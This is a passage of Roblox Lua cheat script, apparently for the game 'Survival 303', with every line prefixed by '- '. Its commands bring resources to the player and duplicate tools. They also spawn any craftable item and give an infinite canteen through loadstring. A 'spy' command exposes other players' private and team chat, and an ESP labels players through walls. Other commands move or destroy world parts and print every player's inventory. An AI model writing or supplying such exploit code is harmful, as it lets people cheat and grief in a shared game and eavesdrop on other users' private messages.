- if b.Name == "Prickly Pear" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Prickly Pear" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring moss" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Moss" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Moss" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring mushroom" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Mushrooms" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Mushroom" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring onion" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Onions" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Onion" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring carrot" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Carrots" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Carrot" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring herb" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Herb Patch" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Herb" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring flax flower" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Flax Plant" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Flax Flower" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring berry" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Small Berry Bush" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Berry" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "bring pumpkin" then
- game.Workspace["Corn Stalk"].Forage:Clone().Parent = game.Players
- for a, b in pairs(game.Workspace:GetChildren()) do
- if b.Name == "Pumpkins" then
- if b:FindFirstChild("NoForage") ~= nil then
- b.NoForage:Destroy()
- end
- for c, d in pairs(b:GetChildren()) do
- if d.Name == "Pumpkin" then
- PlaceHolder = Instance.new("Vector3Value", d)
- PlaceHolder.Value = d.Position
- PlaceHolder.Name = "OriginalPlace"
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- game.Players.Forage:Clone().Parent = d.Parent
- end
- end
- end
- end
- elseif Command.Text == "conversion table" then
- local ConversionTable = Instance.new("ScreenGui")
- local MainPart = Instance.new("Frame")
- local Title = Instance.new("TextLabel")
- local Arrow = Instance.new("TextLabel")
- local StartBox = Instance.new("TextBox")
- local EndBox = Instance.new("TextBox")
- local ConvertButton = Instance.new("TextButton")
- local CloseButton = Instance.new("TextButton")
- ConversionTable.Name = "Conversion Table"
- ConversionTable.Parent = game.CoreGui
- ConversionTable.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- MainPart.Name = "MainPart"
- MainPart.Parent = ConversionTable
- MainPart.BackgroundColor3 = Color3.new(0.333333, 0.666667, 0)
- MainPart.BackgroundTransparency = 0.40000000596046
- MainPart.BorderSizePixel = 2
- MainPart.Position = UDim2.new(0.345323741, 0, 0.212177128, 0)
- MainPart.Size = UDim2.new(0, 276, 0, 174)
- MainPart.Active = true
- MainPart.Draggable = true
- Title.Name = "Title"
- Title.Parent = MainPart
- Title.BackgroundColor3 = Color3.new(0.333333, 0.666667, 0)
- Title.BackgroundTransparency = 0.40000000596046
- Title.BorderSizePixel = 2
- Title.Size = UDim2.new(0, 276, 0, 29)
- Title.Font = Enum.Font.SciFi
- Title.Text = "Conversion Table"
- Title.TextColor3 = Color3.new(0, 0, 0)
- Title.TextSize = 18
- Arrow.Name = "Arrow"
- Arrow.Parent = MainPart
- Arrow.BackgroundColor3 = Color3.new(0.333333, 0.666667, 0)
- Arrow.BackgroundTransparency = 0.40000000596046
- Arrow.BorderSizePixel = 2
- Arrow.Position = UDim2.new(0.423913032, 0, 0.287356317, 0)
- Arrow.Size = UDim2.new(0, 41, 0, 20)
- Arrow.Font = Enum.Font.SourceSans
- Arrow.Text = "=>"
- Arrow.TextColor3 = Color3.new(0, 0, 0)
- Arrow.TextSize = 30
- StartBox.Name = "StartBox"
- StartBox.Parent = MainPart
- StartBox.BackgroundColor3 = Color3.new(0.333333, 0.666667, 0)
- StartBox.BackgroundTransparency = 0.40000000596046
- StartBox.BorderSizePixel = 2
- StartBox.Position = UDim2.new(0.0326086953, 0, 0.287356317, 0)
- StartBox.Size = UDim2.new(0, 101, 0, 20)
- StartBox.Font = Enum.Font.SourceSans
- StartBox.Text = ""
- StartBox.TextColor3 = Color3.new(0, 0, 0)
- StartBox.TextSize = 14
- EndBox.Name = "EndBox"
- EndBox.Parent = MainPart
- EndBox.BackgroundColor3 = Color3.new(0.333333, 0.666667, 0)
- EndBox.BackgroundTransparency = 0.40000000596046
- EndBox.BorderSizePixel = 2
- EndBox.Position = UDim2.new(0.601449251, 0, 0.287356317, 0)
- EndBox.Size = UDim2.new(0, 101, 0, 20)
- EndBox.Font = Enum.Font.SourceSans
- EndBox.Text = ""
- EndBox.TextColor3 = Color3.new(0, 0, 0)
- EndBox.TextSize = 14
- ConvertButton.Name = "ConvertButton"
- ConvertButton.Parent = MainPart
- ConvertButton.BackgroundColor3 = Color3.new(0.333333, 0.666667, 0)
- ConvertButton.BackgroundTransparency = 0.40000000596046
- ConvertButton.BorderSizePixel = 2
- ConvertButton.Position = UDim2.new(0.134057969, 0, 0.511494279, 0)
- ConvertButton.Size = UDim2.new(0, 200, 0, 39)
- ConvertButton.Font = Enum.Font.SourceSans
- ConvertButton.Text = "Convert"
- ConvertButton.TextColor3 = Color3.new(0, 0, 0)
- ConvertButton.TextSize = 20
- CloseButton.Name = "CloseButton"
- CloseButton.Parent = MainPart
- CloseButton.BackgroundColor3 = Color3.new(0.333333, 0.666667, 0)
- CloseButton.BackgroundTransparency = 0.40000000596046
- CloseButton.BorderSizePixel = 2
- CloseButton.Position = UDim2.new(0, 0, 0.902298868, 0)
- CloseButton.Size = UDim2.new(0, 276, 0, 17)
- CloseButton.Font = Enum.Font.SourceSans
- CloseButton.Text = "Click here to Remove..."
- CloseButton.TextColor3 = Color3.new(0, 0, 0)
- CloseButton.TextSize = 12
- CloseButton.MouseButton1Down:Connect(function()
- ConversionTable:Destroy()
- end)
- ConvertButton.MouseButton1Down:Connect(function()
- for i, v in pairs(game.Workspace:GetChildren()) do
- if v.Name == StartBox.Text then
- if v:FindFirstChild("Retain") == nil then
- game.ReplicatedStorage.Craftables["Bitten Life Cake"].Retain:Clone().Parent = v
- v.Retain.Value = EndBox.Text
- elseif v:FindFirstChild("Retain") ~= nil then
- v.Retain:Destroy()
- game.ReplicatedStorage.Craftables["Bitten Life Cake"].Retain:Clone().Parent = v
- v.Retain.Value = EndBox.Text
- end
- end
- end
- end)
- elseif Command.Text == "ten pickaxes" then
- obje = game.ReplicatedStorage.Craftables["Bluesteel Pickaxe"]
- obje:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"].Handle.Anchored = false
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- game.Players.LocalPlayer.Backpack["Bluesteel Pickaxe"]:Clone().Parent = game.Players.LocalPlayer.Backpack
- elseif Command.Text == "spy" then
- wait(0.1)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Instructions:";
- Text = "chat /spy to toggle.";
- Icon = "";
- Duration = 5;
- })
- enabled = true
- spyOnMyself = true
- public = false
- publicItalics = true
- privateProperties = {
- Color = Color3.fromRGB(0,255,255);
- Font = Enum.Font.SourceSansBold;
- TextSize = 18;
- }
- local StarterGui = game:GetService("StarterGui")
- local Players = game:GetService("Players")
- local player = Players.LocalPlayer
- local saymsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest")
- local getmsg = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("OnMessageDoneFiltering")
- local instance = (_G.chatSpyInstance or 0) + 1
- _G.chatSpyInstance = instance
- local function onChatted(p,msg)
- if _G.chatSpyInstance == instance then
- if p==player and msg:lower():sub(1,4)=="/spy" then
- enabled = not enabled
- wait(0.3)
- privateProperties.Text = "{SPY "..(enabled and "EN" or "DIS").."ABLED}"
- StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
- elseif enabled and (spyOnMyself==true or p~=player) then
- msg = msg:gsub("[\n\r]",''):gsub("\t",' '):gsub("[ ]+",' ')
- local hidden = true
- local conn = getmsg.OnClientEvent:Connect(function(packet,channel)
- if packet.SpeakerUserId==p.UserId and packet.Message==msg:sub(#msg-#packet.Message+1) and (channel=="All" or (channel=="Team" and public==false and Players[packet.FromSpeaker].Team==player.Team)) then
- hidden = false
- end
- end)
- wait(1)
- conn:Disconnect()
- if hidden and enabled then
- if public then
- saymsg:FireServer((publicItalics and "/me " or '').."{SPY} [".. p.Name .."]: "..msg,"All")
- else
- privateProperties.Text = "{SPY} [".. p.Name .."]: "..msg
- StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
- end
- end
- end
- end
- end
- for _,p in ipairs(Players:GetPlayers()) do
- p.Chatted:Connect(function(msg) onChatted(p,msg) end)
- end
- Players.PlayerAdded:Connect(function(p)
- p.Chatted:Connect(function(msg) onChatted(p,msg) end)
- end)
- privateProperties.Text = "{BEAR SPY "..(enabled and "EN" or "DIS").."ABLED}"
- StarterGui:SetCore("ChatMakeSystemMessage",privateProperties)
- local chatFrame = player.PlayerGui.Chat.Frame
- chatFrame.ChatChannelParentFrame.Visible = true
- chatFrame.ChatBarParentFrame.Position = chatFrame.ChatChannelParentFrame.Position+UDim2.new(UDim.new(),chatFrame.ChatChannelParentFrame.Size.Y)
- elseif Command.Text == "bring cloud" then
- d = game.Workspace["Le Cloud"]
- d.Anchored = true
- game.Workspace.Storage.Forage:Clone().Parent = d
- d.Parent = game.Workspace.Storage
- d.Size = Vector3.new(1, 1, 1)
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(3, 2, 0)
- elseif Command.Text == "list tools" then
- for i, v in pairs(game.ReplicatedStorage.Craftables:GetChildren()) do
- if v:IsA("Tool") then
- print(v)
- end
- end
- for i, v in pairs(game.ReplicatedStorage.Craftables:GetChildren()) do
- if v:IsA("HopperBin") then
- print(v)
- end
- end
- elseif Command.Text == "esp on" then
- for i, v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- text = v.Name
- item = v.Character.HumanoidRootPart
- local BillboardGui = Instance.new("BillboardGui")
- local TextLabel = Instance.new("TextLabel")
- BillboardGui.Parent = item
- BillboardGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- BillboardGui.Active = true
- BillboardGui.AlwaysOnTop = true
- BillboardGui.LightInfluence = 1
- BillboardGui.Size = UDim2.new(0, 200, 0, 50)
- BillboardGui.StudsOffset = Vector3.new(0, 4, 0)
- TextLabel.Parent = BillboardGui
- TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel.BackgroundTransparency = 1
- TextLabel.Size = UDim2.new(0, 200, 0, 50)
- TextLabel.Font = Enum.Font.SourceSans
- TextLabel.Text = text
- TextLabel.TextColor3 = Color3.new(0, 0, 0)
- TextLabel.TextScaled = true
- TextLabel.TextSize = 14
- TextLabel.TextWrapped = true
- end
- end
- elseif Command.Text == "esp off" then
- for i, v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- if v.Character.HumanoidRootPart:FindFirstChild("BillboardGui") ~= nil then
- v.Character.HumanoidRootPart.BillboardGui:Destroy()
- end
- end
- end
- elseif Command.Text == "remove darkness" then
- for i = 1, 100, 1 do
- wait(0.5)
- game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:WaitForChild("DarkFrame"):Destroy()
- end
- elseif Command.Text == "print backpack tools" then
- for i = 1, 500 do
- print("*")
- end
- warn("Backpack Tools:")
- for i, v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- print("---------------"..v.Name.."---------------")
- for a, b in pairs(v.Backpack:GetChildren()) do
- print(b.Name)
- end
- print("-----------------------------------------")
- end
- end
- elseif Command.Text == "print backpack items" then
- for i = 1, 500 do
- print("*")
- end
- warn("Backpack Items:")
- for i, v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- print("---------------"..v.Name.."---------------")
- for a, b in pairs(v.Pack:GetChildren()) do
- print(b.Name)
- end
- print("-----------------------------------------")
- end
- end
- elseif Command.Text == "print stored tools" then
- for i = 1, 500 do
- print("*")
- end
- warn("Stored Tools:")
- for i, v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- print("---------------"..v.Name.."---------------")
- for a, b in pairs(v.Tools:GetChildren()) do
- print(b.Name)
- end
- print("-----------------------------------------")
- end
- end
- elseif Command.Text == "print discovered items" then
- for i = 1, 500 do
- print("*")
- end
- warn("Discovered Items:")
- for i, v in pairs(game.Players:GetChildren()) do
- if v:IsA("Player") then
- print("---------------"..v.Name.."---------------")
- for a, b in pairs(v.Discovered:GetChildren()) do
- print(b.Name)
- end
- print("-----------------------------------------")
- end
- end
- elseif Command.Text == "power up tool" then
- for i, v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if v:IsA("Tool") then
- placed1 = v.Name
- for a, b in pairs(v:GetChildren()) do
- if b:IsA("LocalScript") then
- placed2 = b.Name
- end
- end
- game.Players.LocalPlayer.Character[placed1][placed2]:Clone().Parent = v
- end
- end
- elseif Command.Text == "power up building" then
- for i, v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if v:IsA("HopperBin") then
- if v.Active == true then
- placed3 = v.Name
- for a, b in pairs(v:GetChildren()) do
- if b:IsA("LocalScript") then
- placed4 = b.Name
- end
- end
- game.Players.LocalPlayer.Backpack[placed3][placed4]:Clone().Parent = v
- end
- end
- end
- elseif Command.Text == "survival tools" then
- local SurvivalTools = Instance.new("ScreenGui")
- local Base = Instance.new("Frame")
- local Title = Instance.new("TextLabel")
- local ToolBar = Instance.new("TextBox")
- local Status = Instance.new("TextButton")
- local XButton = Instance.new("TextButton")
- local OnButton = Instance.new("TextButton")
- local OffButton = Instance.new("TextButton")
- SurvivalTools.Name = "Survival Tools"
- SurvivalTools.Parent = game.CoreGui
- SurvivalTools.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- Base.Name = "Base"
- Base.Parent = SurvivalTools
- Base.BackgroundColor3 = Color3.new(1, 0.333333, 1)
- Base.BorderColor3 = Color3.new(0, 0, 0)
- Base.BorderSizePixel = 3
- Base.Position = UDim2.new(0.574100733, 0, 0.664206624, 0)
- Base.Size = UDim2.new(0, 168, 0, 100)
- Base.Active = true
- Base.Draggable = true
- Title.Name = "Title"
- Title.Parent = Base
- Title.BackgroundColor3 = Color3.new(1, 0.666667, 1)
- Title.Size = UDim2.new(0, 168, 0, 17)
- Title.Font = Enum.Font.SourceSans
- Title.Text = "Survival Tools"
- Title.TextColor3 = Color3.new(0, 0, 0)
- Title.TextSize = 14
- ToolBar.Name = "ToolBar"
- ToolBar.Parent = Base
- ToolBar.BackgroundColor3 = Color3.new(0.333333, 0.666667, 1)
- ToolBar.BorderSizePixel = 2
- ToolBar.Position = UDim2.new(0.0357142873, 0, 0.25, 0)
- ToolBar.Size = UDim2.new(0, 154, 0, 21)
- ToolBar.Font = Enum.Font.SourceSans
- ToolBar.Text = ""
- ToolBar.TextColor3 = Color3.new(0, 0, 0)
- ToolBar.TextSize = 14
- Status.Name = "Status"
- Status.Parent = Base
- Status.BackgroundColor3 = Color3.new(1, 0, 0)
- Status.BorderSizePixel = 3
- Status.Position = UDim2.new(0.398809522, 0, 0.589999974, 0)
- Status.Size = UDim2.new(0, 31, 0, 31)
- Status.Font = Enum.Font.SourceSans
- Status.Text = ""
- Status.TextColor3 = Color3.new(0, 0, 0)
- Status.TextSize = 14
- XButton.Name = "XButton"
- XButton.Parent = Base
- XButton.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- XButton.Position = UDim2.new(0.898809552, 0, 0, 0)
- XButton.Size = UDim2.new(0, 17, 0, 17)
- XButton.Font = Enum.Font.SourceSans
- XButton.Text = "X"
- XButton.TextColor3 = Color3.new(0.333333, 1, 0)
- XButton.TextSize = 14
- OnButton.Name = "OnButton"
- OnButton.Parent = Base
- OnButton.BackgroundColor3 = Color3.new(1, 0.333333, 0.498039)
- OnButton.Position = UDim2.new(0.0357142873, 0, 0.589999974, 0)
- OnButton.Size = UDim2.new(0, 43, 0, 25)
- OnButton.Font = Enum.Font.SourceSans
- OnButton.Text = "On"
- OnButton.TextColor3 = Color3.new(0, 0, 0)
- OnButton.TextSize = 14
- OffButton.Name = "OffButton"
- OffButton.Parent = Base
- OffButton.BackgroundColor3 = Color3.new(1, 0.333333, 0.498039)
- OffButton.Position = UDim2.new(0.696428537, 0, 0.589999974, 0)
- OffButton.Size = UDim2.new(0, 43, 0, 25)
- OffButton.Font = Enum.Font.SourceSans
- OffButton.Text = "Off"
- OffButton.TextColor3 = Color3.new(0, 0, 0)
- OffButton.TextSize = 14
- XButton.MouseButton1Down:Connect(function()
- SurvivalTools:Destroy()
- end)
- OnButton.MouseButton1Down:Connect(function()
- item = ToolBar.Text
- Status.BackgroundColor3 = Color3.new(0, 0.666667, 0)
- game.ReplicatedStorage.Craftables[item]:Clone().Parent = game.Players.LocalPlayer.Backpack
- if game.Players.LocalPlayer.Backpack[item]:FindFirstChild("Handle") ~= nil then
- game.Players.LocalPlayer.Backpack[item].Handle.Anchored = false
- for i, v in pairs(game.Players.LocalPlayer.Backpack[item]:GetChildren()) do
- if v:IsA("LocalScript") then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- v:Clone().Parent = game.Players.LocalPlayer.Backpack[item]
- end
- end
- end
- holder = game.Players.LocalPlayer.Backpack[item]
- holder:Clone().Parent = workspace
- send = game.Workspace[item]
- mean = false
- while wait() do
- if mean == false then
- if holder.ClassName == "Tool" then
- if game.Players.LocalPlayer.Character:FindFirstChild("Resting...") ~= nil then
- game.Players.LocalPlayer.Character["Resting..."].Parent = workspace
- game.Workspace["Resting..."]:Destroy()
- send:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if holder.ClassName == "HopperBin" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild(holder.Name) == nil then
- send:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- if mean == true then
- break
- end
- end
- end
- end)
- OffButton.MouseButton1Down:Connect(function()
- mean = true
- Status.BackgroundColor3 = Color3.new(1, 0, 0)
- end)
- elseif Command.Text == "cmds" then
- warn("Commands:\r\nYou are not authorized to run this command...")
- elseif Command.Text == "infinites" then
- s.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(3, 0, 0)
- o.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 0, 3)
- wait(60)
- s.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(1000000, 1000000, 1000000)
- o.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(1000000, 1000000, 1000000)
- elseif Command.Text == "spawnables" then
- for i, v in pairs(game.ReplicatedStorage.Craftables:GetChildren()) do
- print(v)
- end
- elseif Command.Text == "destroy" then
- --[[
- Survival 303 Destroyer
- https://www.roblox.com/games/3011874593/Survival-303-Classic-FE
- Dah Bear#3256
- ]]
- mouse = game.Players.LocalPlayer:GetMouse()
- tool = Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
- tool.Name = "Discard"
- mouse.Button1Down:Connect(function()
- if game.Players.LocalPlayer.Backpack.Discard.Active then
- mouse.Target.Position = Vector3.new(1000000, 1000000, 1000000)
- end
- end)
- for a, b in pairs(game.Workspace.Islands:GetChildren()) do
- if b:IsA("Model") then
- for c, d in pairs(b:GetChildren()) do
- game.Workspace["CoalDeposit"].Pick:Clone().Parent = b
- if d:IsA("Part") then
- game.Players.LocalPlayer.Character.Torso.Anchored = true
- d.Anchored = true
- d.Size = Vector3.new(2, 2, 2)
- d.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 5, 0)
- if d.Name == "Sand" then
- d.Position = Vector3.new(1000000, 1000000, 1000000)
- end
- if d.Name == "Snow" then
- d.Position = Vector3.new(1000000, 1000000, 1000000)
- end
- end
- end
- end
- end
- elseif Command.Text == "force mine" then
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- factor = false
- while wait(0.1) do
- game.Workspace.CoalDeposit.Pick:Clone().Parent = mouse.Target
- game.Players.LocalPlayer.Chatted:Connect(function(spoke)
- if spoke:lower() == "end" then
- factor = true
- end
- end)
- if factor == true then
- break
- end
- end
- elseif Command.Text == "bring spawns" then
- for i, v in pairs(game.Workspace.Islands:GetChildren()) do
- if v:IsA("Model") then
- for a, b in pairs(v:GetChildren()) do
- if b:IsA("SpawnLocation") then
- b.Size = Vector3.new(2, 2, 2)
- b.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(5, 5, 5)
- game.Workspace.CoalDeposit.Pick:Clone().Parent = b
- end
- end
- end
- end
- elseif Command.Text == "infinite canteen" then
- game.Players.LocalPlayer.Backpack["Canteen"].WaterContainer:Destroy()
- script = Instance.new("LocalScript", game.Players.LocalPlayer.Backpack["Canteen"])
- script.Name = "WaterContainer"
- code = Instance.new("StringValue", script)
- code.Value = "local WaterContainer = require(game:GetService('ReplicatedStorage'):WaitForChild('Code'):WaitForChild('Tools'):WaitForChild('WaterContainer'))\r\nlocal Object = WaterContainer.new(script.Parent)\r\nObject.Capacity = math.huge"
- loadstring(code.Value)()
- wait(0.5)
- code:Destroy()
- elseif Command.Text == "spawner" then
- local Spawner = Instance.new("ScreenGui")
- local Menu = Instance.new("Frame")
- local InsertName = Instance.new("TextBox")
- local ObtainButton = Instance.new("TextButton")
- local Xbutton = Instance.new("TextButton")
- Spawner.Name = "Spawner"
- Spawner.Parent = game.CoreGui
- Menu.Name = "Menu"
- Menu.Parent = Spawner
- Menu.BackgroundColor3 = Color3.new(0, 0, 0)
- Menu.BorderColor3 = Color3.new(0.333333, 0.666667, 0)
- Menu.Position = UDim2.new(0.364902496, 0, 0.22324723, 0)
- Menu.Size = UDim2.new(0, 137, 0, 106)
- InsertName.Name = "Insert Name"
- InsertName.Parent = Menu
- InsertName.BackgroundColor3 = Color3.new(0, 0, 0)
- InsertName.BorderColor3 = Color3.new(0.333333, 0.666667, 0)
- InsertName.Position = UDim2.new(0.11678832, 0, 0.235849053, 0)
- InsertName.Size = UDim2.new(0, 104, 0, 32)
- InsertName.Font = Enum.Font.SourceSans
- InsertName.Text = ""
- InsertName.TextColor3 = Color3.new(1, .5, .5)
- InsertName.TextSize = 14
- ObtainButton.Name = "ObtainButton"
- ObtainButton.Parent = Menu
- ObtainButton.BackgroundColor3 = Color3.new(0, 0, 0)
- ObtainButton.BorderColor3 = Color3.new(0.333333, 0.666667, 0)
- ObtainButton.Position = UDim2.new(0.175182477, 0, 0.632075489, 0)
